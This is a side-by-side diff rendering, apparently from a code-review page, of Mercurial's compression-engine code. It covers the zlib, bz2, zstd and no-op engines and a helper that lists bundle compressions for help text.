3381 | for chunk in it: |
|
3396 | for chunk in it: | |
3382 | data = z.compress(chunk) |
|
3397 | data = z.compress(chunk) | |
3383 | # Not all calls to compress emit data. It is cheaper to inspect |
|
3398 | # Not all calls to compress emit data. It is cheaper to inspect | |
3384 | # here than to feed empty chunks through generator. |
|
3399 | # here than to feed empty chunks through generator. | |
3385 | if data: |
|
3400 | if data: | |
3386 | yield data |
|
3401 | yield data | |
3387 |
|
3402 | |||
3388 | yield z.flush() |
|
3403 | yield z.flush() | |
3389 |
|
3404 | |||
3390 | def decompressorreader(self, fh): |
|
3405 | def decompressorreader(self, fh): | |
3391 | def gen(): |
|
3406 | def gen(): | |
3392 | d = zlib.decompressobj() |
|
3407 | d = zlib.decompressobj() | |
3393 | for chunk in filechunkiter(fh): |
|
3408 | for chunk in filechunkiter(fh): | |
3394 | while chunk: |
|
3409 | while chunk: | |
3395 | # Limit output size to limit memory. |
|
3410 | # Limit output size to limit memory. | |
3396 | yield d.decompress(chunk, 2 ** 18) |
|
3411 | yield d.decompress(chunk, 2 ** 18) | |
3397 | chunk = d.unconsumed_tail |
|
3412 | chunk = d.unconsumed_tail | |
3398 |
|
3413 | |||
3399 | return chunkbuffer(gen()) |
|
3414 | return chunkbuffer(gen()) | |
3400 |
|
3415 | |||
3401 | class zlibrevlogcompressor(object): |
|
3416 | class zlibrevlogcompressor(object): | |
3402 | def compress(self, data): |
|
3417 | def compress(self, data): | |
3403 | insize = len(data) |
|
3418 | insize = len(data) | |
3404 | # Caller handles empty input case. |
|
3419 | # Caller handles empty input case. | |
3405 | assert insize > 0 |
|
3420 | assert insize > 0 | |
3406 |
|
3421 | |||
3407 | if insize < 44: |
|
3422 | if insize < 44: | |
3408 | return None |
|
3423 | return None | |
3409 |
|
3424 | |||
3410 | elif insize <= 1000000: |
|
3425 | elif insize <= 1000000: | |
3411 | compressed = zlib.compress(data) |
|
3426 | compressed = zlib.compress(data) | |
3412 | if len(compressed) < insize: |
|
3427 | if len(compressed) < insize: | |
3413 | return compressed |
|
3428 | return compressed | |
3414 | return None |
|
3429 | return None | |
3415 |
|
3430 | |||
3416 | # zlib makes an internal copy of the input buffer, doubling |
|
3431 | # zlib makes an internal copy of the input buffer, doubling | |
3417 | # memory usage for large inputs. So do streaming compression |
|
3432 | # memory usage for large inputs. So do streaming compression | |
3418 | # on large inputs. |
|
3433 | # on large inputs. | |
3419 | else: |
|
3434 | else: | |
3420 | z = zlib.compressobj() |
|
3435 | z = zlib.compressobj() | |
3421 | parts = [] |
|
3436 | parts = [] | |
3422 | pos = 0 |
|
3437 | pos = 0 | |
3423 | while pos < insize: |
|
3438 | while pos < insize: | |
3424 | pos2 = pos + 2**20 |
|
3439 | pos2 = pos + 2**20 | |
3425 | parts.append(z.compress(data[pos:pos2])) |
|
3440 | parts.append(z.compress(data[pos:pos2])) | |
3426 | pos = pos2 |
|
3441 | pos = pos2 | |
3427 | parts.append(z.flush()) |
|
3442 | parts.append(z.flush()) | |
3428 |
|
3443 | |||
3429 | if sum(map(len, parts)) < insize: |
|
3444 | if sum(map(len, parts)) < insize: | |
3430 | return ''.join(parts) |
|
3445 | return ''.join(parts) | |
3431 | return None |
|
3446 | return None | |
3432 |
|
3447 | |||
3433 | def decompress(self, data): |
|
3448 | def decompress(self, data): | |
3434 | try: |
|
3449 | try: | |
3435 | return zlib.decompress(data) |
|
3450 | return zlib.decompress(data) | |
3436 | except zlib.error as e: |
|
3451 | except zlib.error as e: | |
3437 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
3452 | raise error.RevlogError(_('revlog decompress error: %s') % | |
3438 | str(e)) |
|
3453 | str(e)) | |
3439 |
|
3454 | |||
3440 | def revlogcompressor(self, opts=None): |
|
3455 | def revlogcompressor(self, opts=None): | |
3441 | return self.zlibrevlogcompressor() |
|
3456 | return self.zlibrevlogcompressor() | |
3442 |
|
3457 | |||
3443 | compengines.register(_zlibengine()) |
|
3458 | compengines.register(_zlibengine()) | |
3444 |
|
3459 | |||
3445 | class _bz2engine(compressionengine): |
|
3460 | class _bz2engine(compressionengine): | |
3446 | def name(self): |
|
3461 | def name(self): | |
3447 | return 'bz2' |
|
3462 | return 'bz2' | |
3448 |
|
3463 | |||
3449 | def bundletype(self): |
|
3464 | def bundletype(self): | |
3450 | """An algorithm that produces smaller bundles than ``gzip``. |
|
3465 | """An algorithm that produces smaller bundles than ``gzip``. | |
3451 |
|
3466 | |||
3452 | All Mercurial clients should support this format. |
|
3467 | All Mercurial clients should support this format. | |
3453 |
|
3468 | |||
3454 | This engine will likely produce smaller bundles than ``gzip`` but |
|
3469 | This engine will likely produce smaller bundles than ``gzip`` but | |
3455 | will be significantly slower, both during compression and |
|
3470 | will be significantly slower, both during compression and | |
3456 | decompression. |
|
3471 | decompression. | |
3457 |
|
3472 | |||
3458 | If available, the ``zstd`` engine can yield similar or better |
|
3473 | If available, the ``zstd`` engine can yield similar or better | |
3459 | compression at much higher speeds. |
|
3474 | compression at much higher speeds. | |
3460 | """ |
|
3475 | """ | |
3461 | return 'bzip2', 'BZ' |
|
3476 | return 'bzip2', 'BZ' | |
3462 |
|
3477 | |||
3463 | # We declare a protocol name but don't advertise by default because |
|
3478 | # We declare a protocol name but don't advertise by default because | |
3464 | # it is slow. |
|
3479 | # it is slow. | |
3465 | def wireprotosupport(self): |
|
3480 | def wireprotosupport(self): | |
3466 | return compewireprotosupport('bzip2', 0, 0) |
|
3481 | return compewireprotosupport('bzip2', 0, 0) | |
3467 |
|
3482 | |||
3468 | def compressstream(self, it, opts=None): |
|
3483 | def compressstream(self, it, opts=None): | |
3469 | opts = opts or {} |
|
3484 | opts = opts or {} | |
3470 | z = bz2.BZ2Compressor(opts.get('level', 9)) |
|
3485 | z = bz2.BZ2Compressor(opts.get('level', 9)) | |
3471 | for chunk in it: |
|
3486 | for chunk in it: | |
3472 | data = z.compress(chunk) |
|
3487 | data = z.compress(chunk) | |
3473 | if data: |
|
3488 | if data: | |
3474 | yield data |
|
3489 | yield data | |
3475 |
|
3490 | |||
3476 | yield z.flush() |
|
3491 | yield z.flush() | |
3477 |
|
3492 | |||
3478 | def decompressorreader(self, fh): |
|
3493 | def decompressorreader(self, fh): | |
3479 | def gen(): |
|
3494 | def gen(): | |
3480 | d = bz2.BZ2Decompressor() |
|
3495 | d = bz2.BZ2Decompressor() | |
3481 | for chunk in filechunkiter(fh): |
|
3496 | for chunk in filechunkiter(fh): | |
3482 | yield d.decompress(chunk) |
|
3497 | yield d.decompress(chunk) | |
3483 |
|
3498 | |||
3484 | return chunkbuffer(gen()) |
|
3499 | return chunkbuffer(gen()) | |
3485 |
|
3500 | |||
3486 | compengines.register(_bz2engine()) |
|
3501 | compengines.register(_bz2engine()) | |
3487 |
|
3502 | |||
3488 | class _truncatedbz2engine(compressionengine): |
|
3503 | class _truncatedbz2engine(compressionengine): | |
3489 | def name(self): |
|
3504 | def name(self): | |
3490 | return 'bz2truncated' |
|
3505 | return 'bz2truncated' | |
3491 |
|
3506 | |||
3492 | def bundletype(self): |
|
3507 | def bundletype(self): | |
3493 | return None, '_truncatedBZ' |
|
3508 | return None, '_truncatedBZ' | |
3494 |
|
3509 | |||
3495 | # We don't implement compressstream because it is hackily handled elsewhere. |
|
3510 | # We don't implement compressstream because it is hackily handled elsewhere. | |
3496 |
|
3511 | |||
3497 | def decompressorreader(self, fh): |
|
3512 | def decompressorreader(self, fh): | |
3498 | def gen(): |
|
3513 | def gen(): | |
3499 | # The input stream doesn't have the 'BZ' header. So add it back. |
|
3514 | # The input stream doesn't have the 'BZ' header. So add it back. | |
3500 | d = bz2.BZ2Decompressor() |
|
3515 | d = bz2.BZ2Decompressor() | |
3501 | d.decompress('BZ') |
|
3516 | d.decompress('BZ') | |
3502 | for chunk in filechunkiter(fh): |
|
3517 | for chunk in filechunkiter(fh): | |
3503 | yield d.decompress(chunk) |
|
3518 | yield d.decompress(chunk) | |
3504 |
|
3519 | |||
3505 | return chunkbuffer(gen()) |
|
3520 | return chunkbuffer(gen()) | |
3506 |
|
3521 | |||
3507 | compengines.register(_truncatedbz2engine()) |
|
3522 | compengines.register(_truncatedbz2engine()) | |
3508 |
|
3523 | |||
3509 | class _noopengine(compressionengine): |
|
3524 | class _noopengine(compressionengine): | |
3510 | def name(self): |
|
3525 | def name(self): | |
3511 | return 'none' |
|
3526 | return 'none' | |
3512 |
|
3527 | |||
3513 | def bundletype(self): |
|
3528 | def bundletype(self): | |
3514 | """No compression is performed. |
|
3529 | """No compression is performed. | |
3515 |
|
3530 | |||
3516 | Use this compression engine to explicitly disable compression. |
|
3531 | Use this compression engine to explicitly disable compression. | |
3517 | """ |
|
3532 | """ | |
3518 | return 'none', 'UN' |
|
3533 | return 'none', 'UN' | |
3519 |
|
3534 | |||
3520 | # Clients always support uncompressed payloads. Servers don't because |
|
3535 | # Clients always support uncompressed payloads. Servers don't because | |
3521 | # unless you are on a fast network, uncompressed payloads can easily |
|
3536 | # unless you are on a fast network, uncompressed payloads can easily | |
3522 | # saturate your network pipe. |
|
3537 | # saturate your network pipe. | |
3523 | def wireprotosupport(self): |
|
3538 | def wireprotosupport(self): | |
3524 | return compewireprotosupport('none', 0, 10) |
|
3539 | return compewireprotosupport('none', 0, 10) | |
3525 |
|
3540 | |||
3526 | # We don't implement revlogheader because it is handled specially |
|
3541 | # We don't implement revlogheader because it is handled specially | |
3527 | # in the revlog class. |
|
3542 | # in the revlog class. | |
3528 |
|
3543 | |||
3529 | def compressstream(self, it, opts=None): |
|
3544 | def compressstream(self, it, opts=None): | |
3530 | return it |
|
3545 | return it | |
3531 |
|
3546 | |||
3532 | def decompressorreader(self, fh): |
|
3547 | def decompressorreader(self, fh): | |
3533 | return fh |
|
3548 | return fh | |
3534 |
|
3549 | |||
3535 | class nooprevlogcompressor(object): |
|
3550 | class nooprevlogcompressor(object): | |
3536 | def compress(self, data): |
|
3551 | def compress(self, data): | |
3537 | return None |
|
3552 | return None | |
3538 |
|
3553 | |||
3539 | def revlogcompressor(self, opts=None): |
|
3554 | def revlogcompressor(self, opts=None): | |
3540 | return self.nooprevlogcompressor() |
|
3555 | return self.nooprevlogcompressor() | |
3541 |
|
3556 | |||
3542 | compengines.register(_noopengine()) |
|
3557 | compengines.register(_noopengine()) | |
3543 |
|
3558 | |||
3544 | class _zstdengine(compressionengine): |
|
3559 | class _zstdengine(compressionengine): | |
3545 | def name(self): |
|
3560 | def name(self): | |
3546 | return 'zstd' |
|
3561 | return 'zstd' | |
3547 |
|
3562 | |||
3548 | @propertycache |
|
3563 | @propertycache | |
3549 | def _module(self): |
|
3564 | def _module(self): | |
3550 | # Not all installs have the zstd module available. So defer importing |
|
3565 | # Not all installs have the zstd module available. So defer importing | |
3551 | # until first access. |
|
3566 | # until first access. | |
3552 | try: |
|
3567 | try: | |
3553 | from . import zstd |
|
3568 | from . import zstd | |
3554 | # Force delayed import. |
|
3569 | # Force delayed import. | |
3555 | zstd.__version__ |
|
3570 | zstd.__version__ | |
3556 | return zstd |
|
3571 | return zstd | |
3557 | except ImportError: |
|
3572 | except ImportError: | |
3558 | return None |
|
3573 | return None | |
3559 |
|
3574 | |||
3560 | def available(self): |
|
3575 | def available(self): | |
3561 | return bool(self._module) |
|
3576 | return bool(self._module) | |
3562 |
|
3577 | |||
3563 | def bundletype(self): |
|
3578 | def bundletype(self): | |
3564 | """A modern compression algorithm that is fast and highly flexible. |
|
3579 | """A modern compression algorithm that is fast and highly flexible. | |
3565 |
|
3580 | |||
3566 | Only supported by Mercurial 4.1 and newer clients. |
|
3581 | Only supported by Mercurial 4.1 and newer clients. | |
3567 |
|
3582 | |||
3568 | With the default settings, zstd compression is both faster and yields |
|
3583 | With the default settings, zstd compression is both faster and yields | |
3569 | better compression than ``gzip``. It also frequently yields better |
|
3584 | better compression than ``gzip``. It also frequently yields better | |
3570 | compression than ``bzip2`` while operating at much higher speeds. |
|
3585 | compression than ``bzip2`` while operating at much higher speeds. | |
3571 |
|
3586 | |||
3572 | If this engine is available and backwards compatibility is not a |
|
3587 | If this engine is available and backwards compatibility is not a | |
3573 | concern, it is likely the best available engine. |
|
3588 | concern, it is likely the best available engine. | |
3574 | """ |
|
3589 | """ | |
3575 | return 'zstd', 'ZS' |
|
3590 | return 'zstd', 'ZS' | |
3576 |
|
3591 | |||
3577 | def wireprotosupport(self): |
|
3592 | def wireprotosupport(self): | |
3578 | return compewireprotosupport('zstd', 50, 50) |
|
3593 | return compewireprotosupport('zstd', 50, 50) | |
3579 |
|
3594 | |||
3580 | def revlogheader(self): |
|
3595 | def revlogheader(self): | |
3581 | return '\x28' |
|
3596 | return '\x28' | |
3582 |
|
3597 | |||
3583 | def compressstream(self, it, opts=None): |
|
3598 | def compressstream(self, it, opts=None): | |
3584 | opts = opts or {} |
|
3599 | opts = opts or {} | |
3585 | # zstd level 3 is almost always significantly faster than zlib |
|
3600 | # zstd level 3 is almost always significantly faster than zlib | |
3586 | # while providing no worse compression. It strikes a good balance |
|
3601 | # while providing no worse compression. It strikes a good balance | |
3587 | # between speed and compression. |
|
3602 | # between speed and compression. | |
3588 | level = opts.get('level', 3) |
|
3603 | level = opts.get('level', 3) | |
3589 |
|
3604 | |||
3590 | zstd = self._module |
|
3605 | zstd = self._module | |
3591 | z = zstd.ZstdCompressor(level=level).compressobj() |
|
3606 | z = zstd.ZstdCompressor(level=level).compressobj() | |
3592 | for chunk in it: |
|
3607 | for chunk in it: | |
3593 | data = z.compress(chunk) |
|
3608 | data = z.compress(chunk) | |
3594 | if data: |
|
3609 | if data: | |
3595 | yield data |
|
3610 | yield data | |
3596 |
|
3611 | |||
3597 | yield z.flush() |
|
3612 | yield z.flush() | |
3598 |
|
3613 | |||
3599 | def decompressorreader(self, fh): |
|
3614 | def decompressorreader(self, fh): | |
3600 | zstd = self._module |
|
3615 | zstd = self._module | |
3601 | dctx = zstd.ZstdDecompressor() |
|
3616 | dctx = zstd.ZstdDecompressor() | |
3602 | return chunkbuffer(dctx.read_from(fh)) |
|
3617 | return chunkbuffer(dctx.read_from(fh)) | |
3603 |
|
3618 | |||
3604 | class zstdrevlogcompressor(object): |
|
3619 | class zstdrevlogcompressor(object): | |
3605 | def __init__(self, zstd, level=3): |
|
3620 | def __init__(self, zstd, level=3): | |
3606 | # Writing the content size adds a few bytes to the output. However, |
|
3621 | # Writing the content size adds a few bytes to the output. However, | |
3607 | # it allows decompression to be more optimal since we can |
|
3622 | # it allows decompression to be more optimal since we can | |
3608 | # pre-allocate a buffer to hold the result. |
|
3623 | # pre-allocate a buffer to hold the result. | |
3609 | self._cctx = zstd.ZstdCompressor(level=level, |
|
3624 | self._cctx = zstd.ZstdCompressor(level=level, | |
3610 | write_content_size=True) |
|
3625 | write_content_size=True) | |
3611 | self._dctx = zstd.ZstdDecompressor() |
|
3626 | self._dctx = zstd.ZstdDecompressor() | |
3612 | self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
|
3627 | self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE | |
3613 | self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
|
3628 | self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE | |
3614 |
|
3629 | |||
3615 | def compress(self, data): |
|
3630 | def compress(self, data): | |
3616 | insize = len(data) |
|
3631 | insize = len(data) | |
3617 | # Caller handles empty input case. |
|
3632 | # Caller handles empty input case. | |
3618 | assert insize > 0 |
|
3633 | assert insize > 0 | |
3619 |
|
3634 | |||
3620 | if insize < 50: |
|
3635 | if insize < 50: | |
3621 | return None |
|
3636 | return None | |
3622 |
|
3637 | |||
3623 | elif insize <= 1000000: |
|
3638 | elif insize <= 1000000: | |
3624 | compressed = self._cctx.compress(data) |
|
3639 | compressed = self._cctx.compress(data) | |
3625 | if len(compressed) < insize: |
|
3640 | if len(compressed) < insize: | |
3626 | return compressed |
|
3641 | return compressed | |
3627 | return None |
|
3642 | return None | |
3628 | else: |
|
3643 | else: | |
3629 | z = self._cctx.compressobj() |
|
3644 | z = self._cctx.compressobj() | |
3630 | chunks = [] |
|
3645 | chunks = [] | |
3631 | pos = 0 |
|
3646 | pos = 0 | |
3632 | while pos < insize: |
|
3647 | while pos < insize: | |
3633 | pos2 = pos + self._compinsize |
|
3648 | pos2 = pos + self._compinsize | |
3634 | chunk = z.compress(data[pos:pos2]) |
|
3649 | chunk = z.compress(data[pos:pos2]) | |
3635 | if chunk: |
|
3650 | if chunk: | |
3636 | chunks.append(chunk) |
|
3651 | chunks.append(chunk) | |
3637 | pos = pos2 |
|
3652 | pos = pos2 | |
3638 | chunks.append(z.flush()) |
|
3653 | chunks.append(z.flush()) | |
3639 |
|
3654 | |||
3640 | if sum(map(len, chunks)) < insize: |
|
3655 | if sum(map(len, chunks)) < insize: | |
3641 | return ''.join(chunks) |
|
3656 | return ''.join(chunks) | |
3642 | return None |
|
3657 | return None | |
3643 |
|
3658 | |||
3644 | def decompress(self, data): |
|
3659 | def decompress(self, data): | |
3645 | insize = len(data) |
|
3660 | insize = len(data) | |
3646 |
|
3661 | |||
3647 | try: |
|
3662 | try: | |
3648 | # This was measured to be faster than other streaming |
|
3663 | # This was measured to be faster than other streaming | |
3649 | # decompressors. |
|
3664 | # decompressors. | |
3650 | dobj = self._dctx.decompressobj() |
|
3665 | dobj = self._dctx.decompressobj() | |
3651 | chunks = [] |
|
3666 | chunks = [] | |
3652 | pos = 0 |
|
3667 | pos = 0 | |
3653 | while pos < insize: |
|
3668 | while pos < insize: | |
3654 | pos2 = pos + self._decompinsize |
|
3669 | pos2 = pos + self._decompinsize | |
3655 | chunk = dobj.decompress(data[pos:pos2]) |
|
3670 | chunk = dobj.decompress(data[pos:pos2]) | |
3656 | if chunk: |
|
3671 | if chunk: | |
3657 | chunks.append(chunk) |
|
3672 | chunks.append(chunk) | |
3658 | pos = pos2 |
|
3673 | pos = pos2 | |
3659 | # Frame should be exhausted, so no finish() API. |
|
3674 | # Frame should be exhausted, so no finish() API. | |
3660 |
|
3675 | |||
3661 | return ''.join(chunks) |
|
3676 | return ''.join(chunks) | |
3662 | except Exception as e: |
|
3677 | except Exception as e: | |
3663 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
3678 | raise error.RevlogError(_('revlog decompress error: %s') % | |
3664 | str(e)) |
|
3679 | str(e)) | |
3665 |
|
3680 | |||
3666 | def revlogcompressor(self, opts=None): |
|
3681 | def revlogcompressor(self, opts=None): | |
3667 | opts = opts or {} |
|
3682 | opts = opts or {} | |
3668 | return self.zstdrevlogcompressor(self._module, |
|
3683 | return self.zstdrevlogcompressor(self._module, | |
3669 | level=opts.get('level', 3)) |
|
3684 | level=opts.get('level', 3)) | |
3670 |
|
3685 | |||
3671 | compengines.register(_zstdengine()) |
|
3686 | compengines.register(_zstdengine()) | |
3672 |
|
3687 | |||
3673 | def bundlecompressiontopics(): |
|
3688 | def bundlecompressiontopics(): | |
3674 | """Obtains a list of available bundle compressions for use in help.""" |
|
3689 | """Obtains a list of available bundle compressions for use in help.""" | |
3675 | # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
|
3690 | # help.makeitemsdocs() expects a dict of names to items with a .__doc__. | |
3676 | items = {} |
|
3691 | items = {} | |
3677 |
|
3692 | |||
3678 | # We need to format the docstring. So use a dummy object/type to hold it |
|
3693 | # We need to format the docstring. So use a dummy object/type to hold it | |
3679 | # rather than mutating the original. |
|
3694 | # rather than mutating the original. | |
3680 | class docobject(object): |
|
3695 | class docobject(object): | |
3681 | pass |
|
3696 | pass | |
3682 |
|
3697 | |||
3683 | for name in compengines: |
|
3698 | for name in compengines: | |
3684 | engine = compengines[name] |
|
3699 | engine = compengines[name] | |
3685 |
|
3700 | |||
3686 | if not engine.available(): |
|
3701 | if not engine.available(): | |
3687 | continue |
|
3702 | continue | |
3688 |
|
3703 | |||
3689 | bt = engine.bundletype() |
|
3704 | bt = engine.bundletype() | |
3690 | if not bt or not bt[0]: |
|
3705 | if not bt or not bt[0]: | |
3691 | continue |
|
3706 | continue | |
3692 |
|
3707 | |||
3693 | doc = pycompat.sysstr('``%s``\n %s') % ( |
|
3708 | doc = pycompat.sysstr('``%s``\n %s') % ( | |
3694 | bt[0], engine.bundletype.__doc__) |
|
3709 | bt[0], engine.bundletype.__doc__) | |
3695 |
|
3710 | |||
3696 | value = docobject() |
|
3711 | value = docobject() | |
3697 | value.__doc__ = doc |
|
3712 | value.__doc__ = doc | |
3698 |
|
3713 | |||
3699 | items[bt[0]] = value |
|
3714 | items[bt[0]] = value | |
3700 |
|
3715 | |||
3701 | return items |
|
3716 | return items | |
3702 |
|
3717 | |||
3703 | # convenient shortcut |
|
3718 | # convenient shortcut | |
3704 | dst = debugstacktrace |
|
3719 | dst = debugstacktrace |
General Comments 0
You need to be logged in to leave comments.
Login now